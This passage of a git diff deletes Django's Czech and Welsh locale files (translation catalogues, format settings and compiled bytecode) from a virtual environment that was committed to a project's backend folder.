formulář." -msgstr[1] "Odešlete prosím alespoň %(num)d formuláře." -msgstr[2] "Odešlete prosím alespoň %(num)d formulářů." -msgstr[3] "Odešlete prosím alespoň %(num)d formulářů." - -msgid "Order" -msgstr "Pořadí" - -msgid "Delete" -msgstr "Odstranit" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "Opravte duplicitní data v poli %(field)s." - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "Opravte duplicitní data v poli %(field)s, které musí být unikátní." - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" -"Opravte duplicitní data v poli %(field_name)s, které musí být unikátní " -"testem %(lookup)s pole %(date_field)s." - -msgid "Please correct the duplicate values below." -msgstr "Odstraňte duplicitní hodnoty níže." - -msgid "The inline value did not match the parent instance." -msgstr "Hodnota typu inline neodpovídá rodičovské položce." - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "Vyberte platnou možnost. Tato není k dispozici." - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "\"%(pk)s\" není platná hodnota." - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" -"Hodnotu %(datetime)s nelze interpretovat v časové zóně %(current_timezone)s; " -"může být nejednoznačná nebo nemusí existovat." - -msgid "Clear" -msgstr "Zrušit" - -msgid "Currently" -msgstr "Aktuálně" - -msgid "Change" -msgstr "Změnit" - -msgid "Unknown" -msgstr "Neznámé" - -msgid "Yes" -msgstr "Ano" - -msgid "No" -msgstr "Ne" - -#. Translators: Please do not add spaces around commas. -msgid "yes,no,maybe" -msgstr "ano,ne,možná" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "%(size)d bajt" -msgstr[1] "%(size)d bajty" -msgstr[2] "%(size)d bajtů" -msgstr[3] "%(size)d bajtů" - -#, python-format -msgid "%s KB" -msgstr "%s KB" - -#, python-format -msgid "%s MB" -msgstr "%s MB" - -#, python-format -msgid "%s GB" -msgstr "%s GB" - -#, python-format -msgid "%s TB" -msgstr "%s TB" - -#, python-format -msgid "%s PB" -msgstr "%s PB" - -msgid "p.m." -msgstr "odp." - -msgid "a.m." -msgstr "dop." - -msgid "PM" -msgstr "odp." - -msgid "AM" -msgstr "dop." - -msgid "midnight" -msgstr "půlnoc" - -msgid "noon" -msgstr "poledne" - -msgid "Monday" -msgstr "pondělí" - -msgid "Tuesday" -msgstr "úterý" - -msgid "Wednesday" -msgstr "středa" - -msgid "Thursday" -msgstr "čtvrtek" - -msgid "Friday" -msgstr "pátek" - -msgid "Saturday" -msgstr "sobota" - -msgid "Sunday" -msgstr "neděle" - -msgid "Mon" -msgstr "po" - -msgid "Tue" -msgstr "út" - -msgid "Wed" -msgstr "st" - -msgid "Thu" -msgstr "čt" - -msgid "Fri" -msgstr "pá" - -msgid "Sat" -msgstr "so" - -msgid "Sun" -msgstr "ne" - -msgid "January" -msgstr "leden" - -msgid "February" -msgstr "únor" - -msgid "March" -msgstr "březen" - -msgid "April" -msgstr "duben" - -msgid "May" -msgstr "květen" - -msgid "June" -msgstr "červen" - -msgid "July" -msgstr "červenec" - -msgid "August" -msgstr "srpen" - -msgid "September" -msgstr "září" - -msgid "October" -msgstr "říjen" - -msgid "November" -msgstr "listopad" - -msgid "December" -msgstr "prosinec" - -msgid "jan" -msgstr "led" - -msgid "feb" -msgstr "úno" - -msgid "mar" -msgstr "bře" - -msgid "apr" -msgstr "dub" - -msgid "may" -msgstr "kvě" - -msgid "jun" -msgstr "čen" - -msgid "jul" -msgstr "čec" - -msgid "aug" -msgstr "srp" - -msgid "sep" -msgstr "zář" - -msgid "oct" -msgstr "říj" - -msgid "nov" -msgstr "lis" - -msgid "dec" -msgstr "pro" - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "Led." - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "Úno." - -msgctxt "abbrev. month" -msgid "March" -msgstr "Bře." - -msgctxt "abbrev. month" -msgid "April" -msgstr "Dub." - -msgctxt "abbrev. month" -msgid "May" -msgstr "Kvě." - -msgctxt "abbrev. month" -msgid "June" -msgstr "Čer." - -msgctxt "abbrev. month" -msgid "July" -msgstr "Čec." - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "Srp." - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "Zář." - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "Říj." - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "Lis." - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "Pro." - -msgctxt "alt. month" -msgid "January" -msgstr "ledna" - -msgctxt "alt. month" -msgid "February" -msgstr "února" - -msgctxt "alt. month" -msgid "March" -msgstr "března" - -msgctxt "alt. month" -msgid "April" -msgstr "dubna" - -msgctxt "alt. month" -msgid "May" -msgstr "května" - -msgctxt "alt. month" -msgid "June" -msgstr "června" - -msgctxt "alt. month" -msgid "July" -msgstr "července" - -msgctxt "alt. month" -msgid "August" -msgstr "srpna" - -msgctxt "alt. month" -msgid "September" -msgstr "září" - -msgctxt "alt. month" -msgid "October" -msgstr "října" - -msgctxt "alt. month" -msgid "November" -msgstr "listopadu" - -msgctxt "alt. month" -msgid "December" -msgstr "prosince" - -msgid "This is not a valid IPv6 address." -msgstr "Toto není platná adresa typu IPv6." - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "%(truncated_text)s…" - -msgid "or" -msgstr "nebo" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr ", " - -#, python-format -msgid "%(num)d year" -msgid_plural "%(num)d years" -msgstr[0] "%(num)d rok" -msgstr[1] "%(num)d roky" -msgstr[2] "%(num)d roku" -msgstr[3] "%(num)d let" - -#, python-format -msgid "%(num)d month" -msgid_plural "%(num)d months" -msgstr[0] "%(num)d měsíc" -msgstr[1] "%(num)d měsíce" -msgstr[2] "%(num)d měsíců" -msgstr[3] "%(num)d měsíců" - -#, python-format -msgid "%(num)d week" -msgid_plural "%(num)d weeks" -msgstr[0] "%(num)d týden" -msgstr[1] "%(num)d týdny" -msgstr[2] "%(num)d týdne" -msgstr[3] "%(num)d týdnů" - -#, python-format -msgid "%(num)d day" -msgid_plural "%(num)d days" -msgstr[0] "%(num)d den" -msgstr[1] "%(num)d dny" -msgstr[2] "%(num)d dní" -msgstr[3] "%(num)d dní" - -#, python-format -msgid "%(num)d hour" -msgid_plural "%(num)d hours" -msgstr[0] "%(num)d hodina" -msgstr[1] "%(num)d hodiny" -msgstr[2] "%(num)d hodiny" -msgstr[3] "%(num)d hodin" - -#, python-format -msgid "%(num)d minute" -msgid_plural "%(num)d minutes" -msgstr[0] "%(num)d minuta" -msgstr[1] "%(num)d minuty" -msgstr[2] "%(num)d minut" -msgstr[3] "%(num)d minut" - -msgid "Forbidden" -msgstr "Nepřístupné (Forbidden)" - -msgid "CSRF verification failed. Request aborted." -msgstr "Selhalo ověření typu CSRF. Požadavek byl zadržen." - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" -"Tuto zprávu vidíte, protože tento web na protokolu HTTPS vyžaduje, aby váš " -"prohlížeč zaslal v požadavku záhlaví \"Referer\", k čemuž nedošlo. Záhlaví " -"je požadováno z bezpečnostních důvodů pro kontrolu toho, že prohlížeče se " -"nezmocnila třetí strana." - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" -"Pokud má váš prohlížeč záhlaví \"Referer\" vypnuté, žádáme vás o jeho " -"zapnutí, alespoň pro tento web nebo pro spojení typu HTTPS nebo pro " -"požadavky typu \"stejný původ\" (same origin)." - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" -"Pokud používáte značku nebo " -"záhlaví \"Referrer-Policy: no-referrer\", odeberte je. Ochrana typu CSRF " -"vyžaduje, aby záhlaví zajišťovalo striktní hlídání refereru. Pokud je pro " -"vás soukromí důležité, použijte k odkazům na cizí weby alternativní možnosti " -"jako například ." - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" -"Tato zpráva se zobrazuje, protože tento web při odesílání formulářů požaduje " -"v souboru cookie údaj CSRF, a to z bezpečnostních důvodů, aby se zajistilo, " -"že se vašeho prohlížeče nezmocnil někdo další." - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" -"Pokud má váš prohlížeč soubory cookie vypnuté, žádáme vás o jejich zapnutí, " -"alespoň pro tento web nebo pro požadavky typu \"stejný původ\" (same origin)." - -msgid "More information is available with DEBUG=True." -msgstr "V případě zapnutí volby DEBUG=True bude k dispozici více informací." - -msgid "No year specified" -msgstr "Nebyl specifikován rok" - -msgid "Date out of range" -msgstr "Datum je mimo rozsah" - -msgid "No month specified" -msgstr "Nebyl specifikován měsíc" - -msgid "No day specified" -msgstr "Nebyl specifikován den" - -msgid "No week specified" -msgstr "Nebyl specifikován týden" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "%(verbose_name_plural)s nejsou k dispozici" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" -"%(verbose_name_plural)s s budoucím datem nejsou k dipozici protoze " -"%(class_name)s.allow_future je False" - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "Datum \"%(datestr)s\" neodpovídá formátu \"%(format)s\"" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "Nepodařilo se nalézt žádný objekt %(verbose_name)s" - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "" -"Požadavek na stránku nemohl být konvertován na celé číslo, ani není \"last\"." - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "Neplatná stránka (%(page_number)s): %(message)s" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "List je prázdný a \"%(class_name)s.allow_empty\" je nastaveno na False" - -msgid "Directory indexes are not allowed here." -msgstr "Indexy adresářů zde nejsou povoleny." - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "Cesta \"%(path)s\" neexistuje" - -#, python-format -msgid "Index of %(directory)s" -msgstr "Index adresáře %(directory)s" - -msgid "The install worked successfully! Congratulations!" -msgstr "Instalace proběhla úspěšně, gratulujeme!" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" -"Zobrazit poznámky k vydání frameworku Django " -"%(version)s" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not " -"configured any URLs." -msgstr "" -"Tuto zprávu vidíte, protože máte v nastavení Djanga zapnutý vývojový režim " -"DEBUG=True a zatím nemáte " -"nastavena žádná URL." - -msgid "Django Documentation" -msgstr "Dokumentace frameworku Django" - -msgid "Topics, references, & how-to’s" -msgstr "Témata, odkazy & how-to" - -msgid "Tutorial: A Polling App" -msgstr "Tutoriál: Hlasovací aplikace" - -msgid "Get started with Django" -msgstr "Začínáme s frameworkem Django" - -msgid "Django Community" -msgstr "Komunita kolem frameworku Django" - -msgid "Connect, get help, or contribute" -msgstr "Propojte se, získejte pomoc, podílejte se" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/cs/__init__.py b/backend/venv/Lib/site-packages/django/conf/locale/cs/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/cs/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/cs/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index d933e1cd..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/cs/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/cs/__pycache__/formats.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/cs/__pycache__/formats.cpython-311.pyc deleted file mode 100644 index 5c24e866..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/cs/__pycache__/formats.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/cs/formats.py b/backend/venv/Lib/site-packages/django/conf/locale/cs/formats.py deleted file mode 100644 index e4a7ab99..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/cs/formats.py +++ /dev/null @@ -1,43 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# The *_FORMAT strings use the Django date format syntax, -# see https://docs.djangoproject.com/en/dev/ref/templates/builtins/#date -DATE_FORMAT = "j. E Y" -TIME_FORMAT = "G:i" -DATETIME_FORMAT = "j. E Y G:i" -YEAR_MONTH_FORMAT = "F Y" -MONTH_DAY_FORMAT = "j. F" -SHORT_DATE_FORMAT = "d.m.Y" -SHORT_DATETIME_FORMAT = "d.m.Y G:i" -FIRST_DAY_OF_WEEK = 1 # Monday - -# The *_INPUT_FORMATS strings use the Python strftime format syntax, -# see https://docs.python.org/library/datetime.html#strftime-strptime-behavior -DATE_INPUT_FORMATS = [ - "%d.%m.%Y", # '05.01.2006' - "%d.%m.%y", # '05.01.06' - "%d. %m. %Y", # '5. 1. 2006' - "%d. %m. %y", # '5. 1. 06' - # "%d. %B %Y", # '25. October 2006' - # "%d. %b. %Y", # '25. Oct. 2006' -] -# Kept ISO formats as one is in first position -TIME_INPUT_FORMATS = [ - "%H:%M:%S", # '04:30:59' - "%H.%M", # '04.30' - "%H:%M", # '04:30' -] -DATETIME_INPUT_FORMATS = [ - "%d.%m.%Y %H:%M:%S", # '05.01.2006 04:30:59' - "%d.%m.%Y %H:%M:%S.%f", # '05.01.2006 04:30:59.000200' - "%d.%m.%Y %H.%M", # '05.01.2006 04.30' - "%d.%m.%Y %H:%M", # '05.01.2006 04:30' - "%d. %m. %Y %H:%M:%S", # '05. 01. 2006 04:30:59' - "%d. %m. %Y %H:%M:%S.%f", # '05. 01. 2006 04:30:59.000200' - "%d. %m. %Y %H.%M", # '05. 01. 2006 04.30' - "%d. %m. %Y %H:%M", # '05. 01. 2006 04:30' - "%Y-%m-%d %H.%M", # '2006-01-05 04.30' -] -DECIMAL_SEPARATOR = "," -THOUSAND_SEPARATOR = "\xa0" # non-breaking space -NUMBER_GROUPING = 3 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/cy/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/cy/LC_MESSAGES/django.mo deleted file mode 100644 index ea5b45ce..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/cy/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/cy/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/cy/LC_MESSAGES/django.po deleted file mode 100644 index 16383ce0..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/cy/LC_MESSAGES/django.po +++ /dev/null @@ -1,1278 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Jannis Leidel , 2011 -# Maredudd ap Gwyndaf , 2012,2014 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2019-09-27 22:40+0200\n" -"PO-Revision-Date: 2019-11-05 00:38+0000\n" -"Last-Translator: Ramiro Morales\n" -"Language-Team: Welsh (http://www.transifex.com/django/django/language/cy/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: cy\n" -"Plural-Forms: nplurals=4; plural=(n==1) ? 0 : (n==2) ? 1 : (n != 8 && n != " -"11) ? 2 : 3;\n" - -msgid "Afrikaans" -msgstr "Affricaneg" - -msgid "Arabic" -msgstr "Arabeg" - -msgid "Asturian" -msgstr "Astwrieg" - -msgid "Azerbaijani" -msgstr "Azerbaijanaidd" - -msgid "Bulgarian" -msgstr "Bwlgareg" - -msgid "Belarusian" -msgstr "Belarwseg" - -msgid "Bengali" -msgstr "Bengaleg" - -msgid "Breton" -msgstr "Llydaweg" - -msgid "Bosnian" -msgstr "Bosnieg" - -msgid "Catalan" -msgstr "Catalaneg" - -msgid "Czech" -msgstr "Tsieceg" - -msgid "Welsh" -msgstr "Cymraeg" - -msgid "Danish" -msgstr "Daneg" - -msgid "German" -msgstr "Almaeneg" - -msgid "Lower Sorbian" -msgstr "" - -msgid "Greek" -msgstr "Groegedd" - -msgid "English" -msgstr "Saesneg" - -msgid "Australian English" -msgstr "Saesneg Awstralia" - -msgid "British English" -msgstr "Saesneg Prydain" - -msgid "Esperanto" -msgstr "Esperanto" - -msgid "Spanish" -msgstr "Sbaeneg" - -msgid "Argentinian Spanish" -msgstr "Sbaeneg Ariannin" - -msgid "Colombian Spanish" -msgstr "" - -msgid "Mexican Spanish" -msgstr "Sbaeneg Mecsico" - -msgid "Nicaraguan Spanish" -msgstr "Sbaeneg Nicaragwa" - -msgid "Venezuelan Spanish" -msgstr "Sbaeneg Feneswela" - -msgid "Estonian" -msgstr "Estoneg" - -msgid "Basque" -msgstr "Basgeg" - -msgid "Persian" -msgstr "Persieg" - -msgid "Finnish" -msgstr "Ffinneg" - -msgid "French" -msgstr "Ffrangeg" - -msgid "Frisian" -msgstr "Ffrisieg" - -msgid "Irish" -msgstr "Gwyddeleg" - -msgid "Scottish Gaelic" -msgstr "" - -msgid "Galician" -msgstr "Galisieg" - -msgid "Hebrew" -msgstr "Hebraeg" - -msgid "Hindi" -msgstr "Hindi" - -msgid "Croatian" -msgstr "Croasieg" - -msgid "Upper Sorbian" -msgstr "" - -msgid "Hungarian" -msgstr "Hwngareg" - -msgid "Armenian" -msgstr "" - -msgid "Interlingua" -msgstr "Interlingua" - -msgid "Indonesian" -msgstr "Indoneseg" - -msgid "Ido" -msgstr "Ido" - -msgid "Icelandic" -msgstr "Islandeg" - -msgid "Italian" -msgstr "Eidaleg" - -msgid "Japanese" -msgstr "Siapanëeg" - -msgid "Georgian" -msgstr "Georgeg" - -msgid "Kabyle" -msgstr "" - -msgid "Kazakh" -msgstr "Casacstanaidd" - -msgid "Khmer" -msgstr "Chmereg" - -msgid "Kannada" -msgstr "Canadeg" - -msgid "Korean" -msgstr "Corëeg" - -msgid "Luxembourgish" -msgstr "Lwcsembergeg" - -msgid "Lithuanian" -msgstr "Lithwaneg" - -msgid "Latvian" -msgstr "Latfieg" - -msgid "Macedonian" -msgstr "Macedoneg" - -msgid "Malayalam" -msgstr "Malaialam" - -msgid "Mongolian" -msgstr "Mongoleg" - -msgid "Marathi" -msgstr "Marathi" - -msgid "Burmese" -msgstr "Byrmaneg" - -msgid "Norwegian Bokmål" -msgstr "" - -msgid "Nepali" -msgstr "Nepaleg" - -msgid "Dutch" -msgstr "Iseldireg" - -msgid "Norwegian Nynorsk" -msgstr "Ninorsk Norwyeg" - -msgid "Ossetic" -msgstr "Osetieg" - -msgid "Punjabi" -msgstr "Pwnjabi" - -msgid "Polish" -msgstr "Pwyleg" - -msgid "Portuguese" -msgstr "Portiwgaleg" - -msgid "Brazilian Portuguese" -msgstr "Portiwgaleg Brasil" - -msgid "Romanian" -msgstr "Romaneg" - -msgid "Russian" -msgstr "Rwsieg" - -msgid "Slovak" -msgstr "Slofaceg" - -msgid "Slovenian" -msgstr "Slofeneg" - -msgid "Albanian" -msgstr "Albaneg" - -msgid "Serbian" -msgstr "Serbeg" - -msgid "Serbian Latin" -msgstr "Lladin Serbiaidd" - -msgid "Swedish" -msgstr "Swedeg" - -msgid "Swahili" -msgstr "Swahili" - -msgid "Tamil" -msgstr "Tamil" - -msgid "Telugu" -msgstr "Telwgw" - -msgid "Thai" -msgstr "Tai" - -msgid "Turkish" -msgstr "Twrceg" - -msgid "Tatar" -msgstr "Tatareg" - -msgid "Udmurt" -msgstr "Wdmwrteg" - -msgid "Ukrainian" -msgstr "Wcreineg" - -msgid "Urdu" -msgstr "Wrdw" - -msgid "Uzbek" -msgstr "" - -msgid "Vietnamese" -msgstr "Fietnameg" - -msgid "Simplified Chinese" -msgstr "Tsieinëeg Syml" - -msgid "Traditional Chinese" -msgstr "Tseinëeg Traddodiadol" - -msgid "Messages" -msgstr "" - -msgid "Site Maps" -msgstr "Mapiau Safle" - -msgid "Static Files" -msgstr "Ffeiliau Statig" - -msgid "Syndication" -msgstr "Syndicetiad" - -msgid "That page number is not an integer" -msgstr "" - -msgid "That page number is less than 1" -msgstr "" - -msgid "That page contains no results" -msgstr "" - -msgid "Enter a valid value." -msgstr "Rhowch werth dilys." - -msgid "Enter a valid URL." -msgstr "Rhowch URL dilys." - -msgid "Enter a valid integer." -msgstr "Rhowch gyfanrif dilys." - -msgid "Enter a valid email address." -msgstr "Rhowch gyfeiriad ebost dilys." - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "" - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" - -msgid "Enter a valid IPv4 address." -msgstr "Rhowch gyfeiriad IPv4 dilys." - -msgid "Enter a valid IPv6 address." -msgstr "Rhowch gyfeiriad IPv6 dilys." - -msgid "Enter a valid IPv4 or IPv6 address." -msgstr "Rhowch gyfeiriad IPv4 neu IPv6 dilys." - -msgid "Enter only digits separated by commas." -msgstr "Rhowch ddigidau wedi'i gwahanu gan gomas yn unig." - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "" -"Sicrhewch taw y gwerth yw %(limit_value)s (%(show_value)s yw ar hyn o bryd)." - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "Sicrhewch fod y gwerth hwn yn fwy neu'n llai na %(limit_value)s." - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "Sicrhewch fod y gwerth yn fwy na neu'n gyfartal â %(limit_value)s." - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Sicrhewch fod gan y gwerth hwn oleiaf %(limit_value)d nod (mae ganddo " -"%(show_value)d)." -msgstr[1] "" -"Sicrhewch fod gan y gwerth hwn oleiaf %(limit_value)d nod (mae ganddo " -"%(show_value)d)." -msgstr[2] "" -"Sicrhewch fod gan y gwerth hwn oleiaf %(limit_value)d nod (mae ganddo " -"%(show_value)d)." -msgstr[3] "" -"Sicrhewch fod gan y gwerth hwn oleiaf %(limit_value)d nod (mae ganddo " -"%(show_value)d)." - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Sicrhewch fod gan y gwerth hwn ddim mwy na %(limit_value)d nod (mae ganddo " -"%(show_value)d)." -msgstr[1] "" -"Sicrhewch fod gan y gwerth hwn ddim mwy na %(limit_value)d nod (mae ganddo " -"%(show_value)d)." -msgstr[2] "" -"Sicrhewch fod gan y gwerth hwn ddim mwy na %(limit_value)d nod (mae ganddo " -"%(show_value)d)." -msgstr[3] "" -"Sicrhewch fod gan y gwerth hwn ddim mwy na %(limit_value)d nod (mae ganddo " -"%(show_value)d)." - -msgid "Enter a number." -msgstr "Rhowch rif." - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "Sicrhewch nad oes mwy nag %(max)s digid i gyd." -msgstr[1] "Sicrhewch nad oes mwy na %(max)s ddigid i gyd." -msgstr[2] "Sicrhewch nad oes mwy na %(max)s digid i gyd." -msgstr[3] "Sicrhewch nad oes mwy na %(max)s digid i gyd." - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "Sicrhewch nad oes mwy nag %(max)s lle degol." -msgstr[1] "Sicrhewch nad oes mwy na %(max)s le degol." -msgstr[2] "Sicrhewch nad oes mwy na %(max)s lle degol." -msgstr[3] "Sicrhewch nad oes mwy na %(max)s lle degol." - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "Sicrhewch nad oes mwy nag %(max)s digid cyn y pwynt degol." -msgstr[1] "Sicrhewch nad oes mwy na %(max)s ddigid cyn y pwynt degol." -msgstr[2] "Sicrhewch nad oes mwy na %(max)s digid cyn y pwynt degol." -msgstr[3] "Sicrhewch nad oes mwy na %(max)s digid cyn y pwynt degol." - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" - -msgid "Null characters are not allowed." -msgstr "" - -msgid "and" -msgstr "a" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "Mae %(model_name)s gyda'r %(field_labels)s hyn yn bodoli'n barod." - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "Nid yw gwerth %(value)r yn ddewis dilys." - -msgid "This field cannot be null." -msgstr "Ni all y maes hwn fod yn 'null'." - -msgid "This field cannot be blank." -msgstr "Ni all y maes hwn fod yn wag." - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "Mae %(model_name)s gyda'r %(field_label)s hwn yn bodoli'n barod." - -#. Translators: The 'lookup_type' is one of 'date', 'year' or 'month'. -#. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "Maes o fath: %(field_type)s" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "" - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "" - -msgid "Boolean (Either True or False)" -msgstr "Boleaidd (Unai True neu False)" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "String (hyd at %(max_length)s)" - -msgid "Comma-separated integers" -msgstr "Cyfanrifau wedi'u gwahanu gan gomas" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "" - -msgid "Date (without time)" -msgstr "Dyddiad (heb amser)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" - -msgid "Date (with time)" -msgstr "Dyddiad (gydag amser)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "" - -msgid "Decimal number" -msgstr "Rhif degol" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" - -msgid "Duration" -msgstr "" - -msgid "Email address" -msgstr "Cyfeiriad ebost" - -msgid "File path" -msgstr "Llwybr ffeil" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "" - -msgid "Floating point number" -msgstr "Rhif pwynt symudol" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "" - -msgid "Integer" -msgstr "cyfanrif" - -msgid "Big (8 byte) integer" -msgstr "Cyfanrif mawr (8 beit)" - -msgid "IPv4 address" -msgstr "Cyfeiriad IPv4" - -msgid "IP address" -msgstr "cyfeiriad IP" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "" - -msgid "Boolean (Either True, False or None)" -msgstr "Boleaidd (Naill ai True, False neu None)" - -msgid "Positive integer" -msgstr "Cyfanrif positif" - -msgid "Positive small integer" -msgstr "Cyfanrif bach positif" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "Malwen (hyd at %(max_length)s)" - -msgid "Small integer" -msgstr "Cyfanrif bach" - -msgid "Text" -msgstr "Testun" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" - -msgid "Time" -msgstr "Amser" - -msgid "URL" -msgstr "URL" - -msgid "Raw binary data" -msgstr "Data deuol crai" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "" - -msgid "Universally unique identifier" -msgstr "" - -msgid "File" -msgstr "Ffeil" - -msgid "Image" -msgstr "Delwedd" - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r does not exist." -msgstr "" - -msgid "Foreign Key (type determined by related field)" -msgstr "Allwedd Estron (math yn ddibynol ar y maes cysylltiedig)" - -msgid "One-to-one relationship" -msgstr "Perthynas un-i-un" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "" - -msgid "Many-to-many relationship" -msgstr "Perthynas llawer-i-lawer" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr ":?.!" - -msgid "This field is required." -msgstr "Mae angen y 